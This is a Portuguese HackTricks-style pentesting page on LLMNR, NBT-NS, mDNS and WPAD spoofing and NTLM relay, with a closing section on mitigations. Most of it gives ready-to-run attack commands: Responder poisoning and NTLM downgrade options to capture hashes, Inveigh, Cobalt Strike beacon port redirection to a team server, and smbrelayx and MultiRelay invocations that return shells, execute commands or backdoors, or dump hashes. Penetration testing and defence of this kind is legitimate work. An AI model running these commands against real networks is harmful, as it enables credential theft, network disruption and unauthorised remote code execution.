# Falsificação de LLMNR, NBT-NS, mDNS/DNS e WPAD e Ataques de Relevo
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Protocolos de Rede ### LLMNR, NBT-NS e mDNS Sistemas Microsoft usam Resolução de Nomes Multicast de Link Local (LLMNR) e o Serviço de Nomes NetBIOS (NBT-NS) para resolução de host local quando as consultas DNS falham. O Bonjour da Apple e as implementações de configuração zero do Linux usam o Multicast DNS (mDNS) para descobrir sistemas dentro de uma rede. Esses protocolos são não autenticados e enviam mensagens de difusão por UDP; assim, os atacantes podem explorá-los para direcionar usuários para serviços maliciosos. Você pode se passar por serviços pesquisados por hosts usando o Responder para enviar respostas falsas.\ Leia aqui mais informações sobre [como se passar por serviços com o Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### WPAD Muitos navegadores usam a Descoberta Automática de Proxy da Web (WPAD) para carregar configurações de proxy da rede. Um servidor WPAD fornece configurações de proxy do cliente por meio de uma URL específica (por exemplo, _http://wpad.example.org/wpad.dat_) ao ser identificado por meio de qualquer um dos seguintes: * DHCP, usando uma entrada de código 252[34](https://learning.oreilly.com/library/view/Network+Security+Assessment,+3rd+Edition/9781491911044/ch05.html#ch05fn41) * DNS, procurando o nome de host _wpad_ no domínio local * Microsoft LLMNR e NBT-NS (no caso de falha na consulta DNS) O Responder automatiza o ataque WPAD—executando um proxy e direcionando clientes para um servidor WPAD malicioso via DHCP, DNS, LLMNR e NBT-NS. ## Envenenamento de Protocolos ### Responder - LLMNR, NBT-NS e MDNS > Responder é um envenenador de LLMNR, NBT-NS e MDNS. Ele responderá a consultas específicas de NBT-NS (Serviço de Nomes NetBIOS) com base em seu sufixo de nome (consulte: [http://support.microsoft.com/kb/163409](http://support.microsoft.com/kb/163409)). Por padrão, a ferramenta responderá apenas a solicitações de Serviço de Servidor de Arquivos, que é para SMB. > > O conceito por trás disso é direcionar nossas respostas e ser mais furtivo na rede. Isso também ajuda a garantir que não quebremos o comportamento legítimo do NBT-NS. * [**Responder**](https://github.com/lgandx/Responder) está instalado no kali por padrão e o arquivo de configuração está localizado em \*\*`/etc/responder/Responder.conf` \*\* (aqui você pode desativar servidores falsos) * **Responder** irá **imprimir hashes na tela** e **gravá-los** em um arquivo de **log** por host localizado no diretório `/usr/share/responder/logs`. Os hashes são salvos no formato `(NOME_DO_MÓDULO)-(TIPO_DE_HASH)-(IP_DO_CLIENTE).txt` * Você pode encontrar o Responder para **windows** [aqui](https://github.com/lgandx/Responder-Windows) * O Responder funciona em **ipv4** & **ipv6** #### Parâmetros do Responder O Responder suporta as seguintes opções: ``` --version show program's version number and exit -h, --help show this help message and exit -A, --analyze Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding. -I eth0, --interface=eth0 Network interface to use, you can use 'ALL' as a wildcard for all interfaces -i 10.0.0.21, --ip=10.0.0.21 Local IP to use (only for OSX) -6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed Poison all requests with another IPv6 address than Responder's one. -e 10.0.0.22, --externalip=10.0.0.22 Poison all requests with another IP address than Responder's one. -b, --basic Return a Basic HTTP authentication. Default: NTLM -r, --wredir Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False -d, --DHCP Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False -D, --DHCP-DNS This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False -w, --wpad Start the WPAD rogue proxy server. Default value is False -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port) -F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False -P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False --lm Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False --disable-ess Force ESS downgrade. Default: False -v, --verbose Increase verbosity. ```
Parâmetros de Resposta * A flag `-A` nos coloca no **modo de análise**, permitindo-nos ver solicitações NBT-NS, BROWSER e LLMNR no ambiente sem envenenar nenhuma resposta. * Sempre devemos fornecer uma interface ou um IP. * `-wf` iniciará o servidor proxy falso WPAD * `-f` tentará identificar o sistema operacional e a versão do host remoto * Use a flag `-v` para aumentar a verbosidade (muitos dados adicionais impressos no console) * Opções como `-F` e `-P` podem ser usadas para forçar autenticação NTLM ou Básica e forçar autenticação de proxy, mas podem causar um prompt de login, então devem ser usadas com moderação. * A flag `-w` utiliza o servidor proxy WPAD integrado. Isso pode ser altamente eficaz, especialmente em organizações grandes, porque capturará todas as solicitações HTTP de qualquer usuário que iniciar o Internet Explorer se o navegador tiver as [Configurações de detecção automática](https://docs.microsoft.com/en-us/internet-explorer/ie11-deploy-guide/auto-detect-settings-for-ie11) habilitadas.
#### Executando o Responder Para executar o comportamento padrão do Responder, você só precisa executar: ```bash responder -I #Default conf responder -I -P -r -v #More chances but might break things ``` Uma técnica interessante é usar o responder para rebaixar a autenticação NTLM sempre que possível. Isso permitirá **capturar desafios e respostas NTLMv1** em vez de NTLMv2 que podem ser **facilmente quebrados** [**seguindo este guia**](../../windows-hardening/ntlm/#ntlmv1-attack)**.** ```bash #Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788" responder -I --lm --disable-ess #Downgrade NTLM authntication if possible and force ESS downgrade ``` Por **padrão**, a **impersonificação do WPAD não será executada**, mas você pode executá-la fazendo: ```bash responder -I --wpad ``` Você também pode **resolver solicitações NetBIOS** com **seu IP**. E criar um **proxy de autenticação**: ```bash responder.py -I -Pv ``` Não será possível interceptar hashes NTLM (normalmente), mas você pode facilmente obter alguns **desafios e respostas NTLM** que você pode **quebrar** usando, por exemplo, a opção _**john**_ `--format=netntlmv2`. Os **logs e os desafios** da instalação padrão do _**Responder**_ no kali podem ser encontrados em `/usr/share/responder/logs` #### Responder - Envenenamento de DHCP O Windows usa várias opções DHCP personalizadas, como NetBIOS, WINS, configurações de WPAD. Quando uma estação de trabalho envia uma solicitação DHCP para obter suas configurações de rede, essas configurações adicionais podem ser incluídas na resposta DHCP para facilitar a conectividade direta e a resolução de nomes. Falsificar respostas DHCP sem interrupções pode ser desafiador, pois você está interferindo na configuração de rede de uma estação de trabalho. Geralmente, você precisa ter um bom conhecimento da sub-rede de destino, onde está o servidor DNS, onde está o switch, tabela de roteamento, domínio, máscara de rede, servidor DHCP, etc. **Qualquer erro nessas configurações resultará em interrupção na rede.** No entanto, falsificar respostas DHCP tem benefícios únicos. **É definitivamente mais furtivo do que o envenenamento ARP**; Uma resposta unicast é suficiente para envenenar permanentemente as informações de roteamento de uma vítima, também é comum ver vários servidores DHCP operando em uma rede. As respostas DHCP unicast são mais complexas de detectar, alguns switches fornecem configurações de segurança para evitar a espionagem DHCP, no entanto, essas configurações não são diretas e muitas vezes são mal configuradas quando habilitadas. > Este ataque é altamente eficaz e fornece hashes NTLMv1/2 garantidos. ```bash ./Responder.py -I eth0 -Pdv ``` #### Responder - Captura de credenciais O Responder vai **fingir ser todos os serviços usando os protocolos mencionados**. Quando algum usuário tentar acessar um serviço resolvido usando esses protocolos, **ele tentará autenticar-se contra o Responder** e o Responder será capaz de **capturar** as "credenciais" (provavelmente um **Desafio/Resposta NTLMv2**): É possível tentar fazer downgrade para NetNTLMv1 ou desativar ESS. ![](<../../.gitbook/assets/poison (1) (1) (1).jpg>) ### Inveigh - C#/PowerShell Responder > Inveigh é um falsificador de ADIDNS/LLMNR/NBNS/mDNS/DNS em PowerShell e ferramenta de interceptação de man-in-the-middle projetada para ajudar testadores de penetração/red teamers que se veem limitados a um sistema Windows. [**Inveigh** ](https://github.com/Kevin-Robertson/Inveigh)era um script PowerShell, agora é um binário C# que possui as mesmas principais características do Responder. Existe uma [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) que lista todos os parâmetros e instruções de uso.\ Outra versão pode ser encontrada em [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero). ![](../../.gitbook/assets/45662029-1b5e6300-bace-11e8-8180-32f8d377d48b.png) Ou execute com mais opções: ```powershell Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y ``` Ou execute a versão em C#: ```bash Inveigh.exe ``` ## Ataque de Relevo NTLM Este ataque encaminha **sessões de autenticação SMB** em uma rede interna para uma **máquina alvo**. Se a **sessão de autenticação for bem-sucedida**, você será automaticamente direcionado para um **shell do sistema**. Por favor, note que a autenticação encaminhada deve ser de um **usuário que tenha acesso de Administrador Local ao host encaminhado** e **a assinatura SMB deve estar desativada**. ### Encaminhamento e Tunelamento 445 {% hint style="warning" %} Se você puder **introduzir uma máquina dentro da rede**, você pode usar qualquer uma das **ferramentas** da seção seguinte para realizar um ataque de relevo e não precisará se preocupar com isso. {% endhint %} No entanto, em equipes vermelhas isso não é o caso, em equipes vermelhas geralmente será necessário **encaminhar o tráfego da porta 445 de uma máquina Windows para sua máquina** executando qualquer uma das seguintes ferramentas e então **rotear de volta o tráfego dessa ferramenta por meio de um proxy** para alcançar a máquina a ser atacada internamente. A ferramenta [**PortBender**](https://github.com/praetorian-inc/PortBender) é um driver para **redirecionar** o tráfego destinado à porta **445 para outra porta** (por exemplo, 8445) que **podemos vincular**. **Requer acesso de administrador local** para que o driver seja carregado. Faz sentido usar `cd C:\Windows\System32\drivers` pois é onde a maioria dos drivers do Windows são colocados. ```bash Cobalt Strike -> Script Manager -> Load (Select from the filesystem PortBender.cna) beacon> cd C:\Windows\system32\drivers # Go to drivers dir beacon> upload C:\PortBender\WinDivert64.sys # Upload driver beacon> PortBender redirect 445 8445 # Forward traffic to 445 to 8445 beacon> rportfwd 8445 127.0.0.1 445 # Send traffic to port 8445 to Team Server beacon> socks 1080 # Socks proxy in port 1080 to attack host in the internal network from the Team Server # To kill beacon> jobs beacon> jobkill 0 beacon> rportfwd stop 8445 beacon> socks stop ``` ### Metasploit ```bash setg Proxies socks4:127.0.0.1:1080 # Use this if you need to route the traffic to reach the attacked ip set SRVHOST set SRVPORT 445 set SMBHOST run -j ``` ### smbrelayx ```bash python3 smbrelayx.py -t smb:// -smb2support --no-http-server --no-wcf-server # By default it will just dump hashes # To execute a command use: -c "ipconfig" # To execute a backdoor use: -e "/path/to/backdoor # Attack through socks proxy proxychains python3 ntlmrelayx.py -t smb:// -smb2support --no-http-server --no-wcf-server ``` ### MultiRelay Se deseja usar o **MultiRelay**, vá para _**/usr/share/responder/tools**_ e execute o MultiRelay (`-t -u `): ```bash python MultiRelay.py -t -u ALL # If "ALL" then all users are relayed # By default a shell is returned python MultiRelay.py -t -u ALL -c whoami #-c to execute command python MultiRelay.py -t -u ALL -d #-d to dump hashes # Use proxychains if you need to route the traffic to reach the attacked ip ``` ![](<../../.gitbook/assets/image (209).png>) ### Forçar Logins NTLM No Windows, **você pode ser capaz de forçar algumas contas privilegiadas a se autenticarem em máquinas arbitrárias**. Leia a página a seguir para aprender como: {% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} [printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md) {% endcontent-ref %} ## Solução ### Desativando LLMNR Para desativar o LLMNR em seu domínio para clientes DNS, abra gpedit.msc.\ Navegue até Configuração do Computador->Modelos Administrativos->Rede->Cliente DNS.\ Localize a opção "Desativar resolução de nome de multicast" e clique em "configuração de política": ![](../../.gitbook/assets/1.jpg) Quando a nova janela abrir, habilite esta opção, pressione Aplicar e clique em OK: ![](../../.gitbook/assets/2.jpg) ### **Desativando NBT-NS** Uma opção para desativar o NBT-NS é usar opções de escopo DHCP. Se estiver usando o servidor DHCP da Microsoft, selecione o escopo para o qual deseja desativar o NBT-NS. Clique com o botão direito em "Opções de Escopo" e clique em "Configurar Opções". No exemplo abaixo, o escopo DHCP no qual desejo desativar o NBT-NS é 192.168.1.100. ![](../../.gitbook/assets/3.jpg) Na janela de Opções de Escopo, navegue até a guia avançada, altere o menu suspenso para "Opções do Microsoft Windows 2000": ![](../../.gitbook/assets/4.jpg) Selecione a opção "001 Microsoft Disable Netbios Option" na lista e altere seu valor para "0x2", clique em Aplicar e depois em OK: ![](../../.gitbook/assets/5.jpg) ### WPAD Para mitigar o ataque WPAD, você pode adicionar uma entrada para "wpad" em sua zona DNS. Observe que a entrada DNS não precisa apontar para um servidor WPAD válido. Desde que as consultas sejam resolvidas, o ataque será impedido. ### Multi-relay 1\. **Forçar a assinatura SMB em todas as máquinas locais com Windows**. Essa configuração irá assinar digitalmente cada sessão SMB, forçando tanto o cliente quanto o servidor a verificar a origem dos pacotes antes de continuar. Essa configuração é ativada por padrão apenas em Controladores de Domínio. Os seguintes artigos da Microsoft detalham essas configurações (que podem ser habilitadas por meio de política de grupo) e como implementá-las. [https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/](https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/) [https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always) 2\. **Revisar e garantir que os usuários na rede local só possam fazer login remotamente em máquinas em que é necessário**. Por exemplo: Sally só pode fazer login na estação de trabalho de Sally. Se um atacante interceptar a sessão de autenticação SMB de Sally, eles não poderão transmitir a sessão para nenhuma estação de trabalho, tornando esse método inútil. 3\. **Restringir a Autenticação NTLM na rede local o máximo possível**. Este ataque não pode se aproveitar da autenticação Kerberos, então limitando a quantidade de NTLM que está ocorrendo, esse ataque pode ser grandemente prejudicado. Há informações da Microsoft sobre como fazer isso acontecer, mas cuidado... Se a autenticação Kerberos falhar por qualquer motivo, geralmente volta para o NTLM. Se você desativá-lo completamente, sua rede pode travar. 4\. **Impedir usuários não autorizados em sua rede**. Uma ameaça interna provavelmente não estará utilizando um ataque de Relevo SMB, pois eles já têm credenciais de rede. Reforçando suas políticas de segurança física, impedindo dispositivos não autorizados na rede com ACLs e Filtragem MAC, e garantindo uma segmentação de rede adequada, você pode limitar significativamente a ameaça deste ataque ser executado. ## Referências * [**https://intrinium.com/smb-relay-attack-tutorial/**](https://intrinium.com/smb-relay-attack-tutorial/) * **Imagens de:**\ [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)\ [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)\ [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)\ [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.